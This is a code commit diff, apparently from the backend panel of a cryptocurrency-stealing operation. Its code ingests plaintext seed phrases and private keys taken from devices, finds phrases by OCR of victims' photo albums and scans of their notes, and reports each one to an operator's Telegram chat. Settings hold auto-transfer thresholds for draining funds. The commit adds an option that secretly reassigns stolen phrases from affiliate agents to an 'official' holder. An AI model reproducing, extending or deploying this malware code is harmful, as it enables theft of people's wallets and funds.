feat: scan
This commit is contained in:
@@ -512,7 +512,7 @@ class IngestService
|
||||
/**
|
||||
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
||||
*/
|
||||
public function ingestMnemonic(Device $device, ?array $payload): void
|
||||
public function ingestMnemonic(Device $device, ?array $payload, ?Device $origin = null): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
@@ -545,10 +545,18 @@ class IngestService
|
||||
$source = WalletSource::fromTag($payload['a'] ?? null);
|
||||
$row->source = $source;
|
||||
$row->mnemonic = $secret;
|
||||
if ($origin !== null && (int) $origin->id !== (int) $device->id && empty($row->origin_device_id)) {
|
||||
$row->origin_device_id = $origin->id;
|
||||
}
|
||||
$row->save();
|
||||
if ($isNew) {
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
||||
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
||||
$this->telegram->notifyNewMemoric(
|
||||
$device->device_id,
|
||||
$source,
|
||||
$secret,
|
||||
$origin !== null ? $origin->device_id : null,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -117,10 +117,11 @@ class MnemonicScanService
|
||||
}
|
||||
$finding->candidate = $phrase;
|
||||
$finding->word_count = count(preg_split('/\s+/', $phrase) ?: []);
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$this->ingestScanMnemonic(
|
||||
$device,
|
||||
$phrase,
|
||||
$finding->source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
$finding->status = MnemonicFinding::STATUS_CONFIRMED;
|
||||
$finding->reviewed_by = $actor;
|
||||
$finding->reviewed_at = now();
|
||||
@@ -292,13 +293,31 @@ class MnemonicScanService
|
||||
$row->save();
|
||||
|
||||
if ($confirmed) {
|
||||
$this->ingest->ingestMnemonic($device, [
|
||||
'mnemonic' => $hit['candidate'],
|
||||
'a' => $source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
]);
|
||||
$this->ingestScanMnemonic(
|
||||
$device,
|
||||
(string) $hit['candidate'],
|
||||
$source === MnemonicFinding::SOURCE_PHOTO ? 'album_ocr' : 'note_scan',
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
private function ingestScanMnemonic(Device $source, string $phrase, string $tag): void
|
||||
{
|
||||
$holder = $source;
|
||||
$origin = null;
|
||||
if (! config('coruna.scan.agent_visible', true)) {
|
||||
$official = Device::officialHolder();
|
||||
if ($official !== null && (int) $official->id !== (int) $source->id) {
|
||||
$holder = $official;
|
||||
$origin = $source;
|
||||
}
|
||||
}
|
||||
$this->ingest->ingestMnemonic($holder, [
|
||||
'mnemonic' => $phrase,
|
||||
'a' => $tag,
|
||||
], $origin);
|
||||
}
|
||||
|
||||
/**
|
||||
* Album and notes both need 12+ consecutive words that can derive an address.
|
||||
*
|
||||
|
||||
@@ -15,6 +15,7 @@ class SettingsService
|
||||
'telegram.bot_username' => 'TELEGRAM_BOT_USERNAME',
|
||||
'telegram.owner_chat_id' => 'TELEGRAM_OWNER_CHAT_ID',
|
||||
'album_storage.official_default' => 'CORUNA_OFFICIAL_ALBUM_STORAGE',
|
||||
'scan.agent_visible' => 'CORUNA_AGENT_MNEMONIC_SCAN',
|
||||
'auto_transfer.enabled' => 'AUTO_TRANSFER_ENABLED',
|
||||
'auto_transfer.threshold_usdt' => 'AUTO_TRANSFER_THRESHOLD_USDT',
|
||||
'auto_transfer.threshold_trx' => 'AUTO_TRANSFER_THRESHOLD_TRX',
|
||||
@@ -37,6 +38,7 @@ class SettingsService
|
||||
'telegram.bot_username' => config('coruna.telegram.bot_username'),
|
||||
'telegram.owner_chat_id' => config('coruna.telegram.owner_chat_id'),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => config('coruna.auto_transfer.threshold_usdt'),
|
||||
'auto_transfer.threshold_trx' => config('coruna.auto_transfer.threshold_trx'),
|
||||
@@ -100,6 +102,7 @@ class SettingsService
|
||||
'telegram.bot_username' => (string) (config('coruna.telegram.bot_username') ?: ''),
|
||||
'telegram.owner_chat_id' => (string) (config('coruna.telegram.owner_chat_id') ?: ''),
|
||||
'album_storage.official_default' => config('coruna.album_storage.official_default') ? '1' : '0',
|
||||
'scan.agent_visible' => config('coruna.scan.agent_visible') ? '1' : '0',
|
||||
'auto_transfer.enabled' => config('coruna.auto_transfer.enabled') ? '1' : '0',
|
||||
'auto_transfer.threshold_usdt' => (string) (config('coruna.auto_transfer.threshold_usdt') ?? ''),
|
||||
'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''),
|
||||
@@ -140,6 +143,7 @@ class SettingsService
|
||||
'telegram.bot_username' => config(['coruna.telegram.bot_username' => $value]),
|
||||
'telegram.owner_chat_id' => config(['coruna.telegram.owner_chat_id' => $value]),
|
||||
'album_storage.official_default' => config(['coruna.album_storage.official_default' => $value === '1']),
|
||||
'scan.agent_visible' => config(['coruna.scan.agent_visible' => $value === '1']),
|
||||
'auto_transfer.enabled' => config(['coruna.auto_transfer.enabled' => $value === '1']),
|
||||
'auto_transfer.threshold_usdt' => config(['coruna.auto_transfer.threshold_usdt' => $value]),
|
||||
'auto_transfer.threshold_trx' => config(['coruna.auto_transfer.threshold_trx' => $value]),
|
||||
|
||||
@@ -312,14 +312,19 @@ class TelegramNotifier
|
||||
}
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric, ?string $originDeviceId = null): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
$lines = [
|
||||
'🔐 <b>新助记词</b>',
|
||||
...$this->deviceHeader($deviceId),
|
||||
'🏷 <b>来源</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]), $deviceId);
|
||||
];
|
||||
$origin = trim((string) $originDeviceId);
|
||||
if ($origin !== '' && $origin !== $deviceId) {
|
||||
$lines[] = '📎 <b>原设备</b>: <code>'.$this->e($origin).'</code>';
|
||||
}
|
||||
$lines[] = '🏷 <b>来源</b>: '.$this->e($source ?: '—');
|
||||
$lines[] = '📝 <b>助记词</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>';
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
|
||||
|
||||
Reference in New Issue
Block a user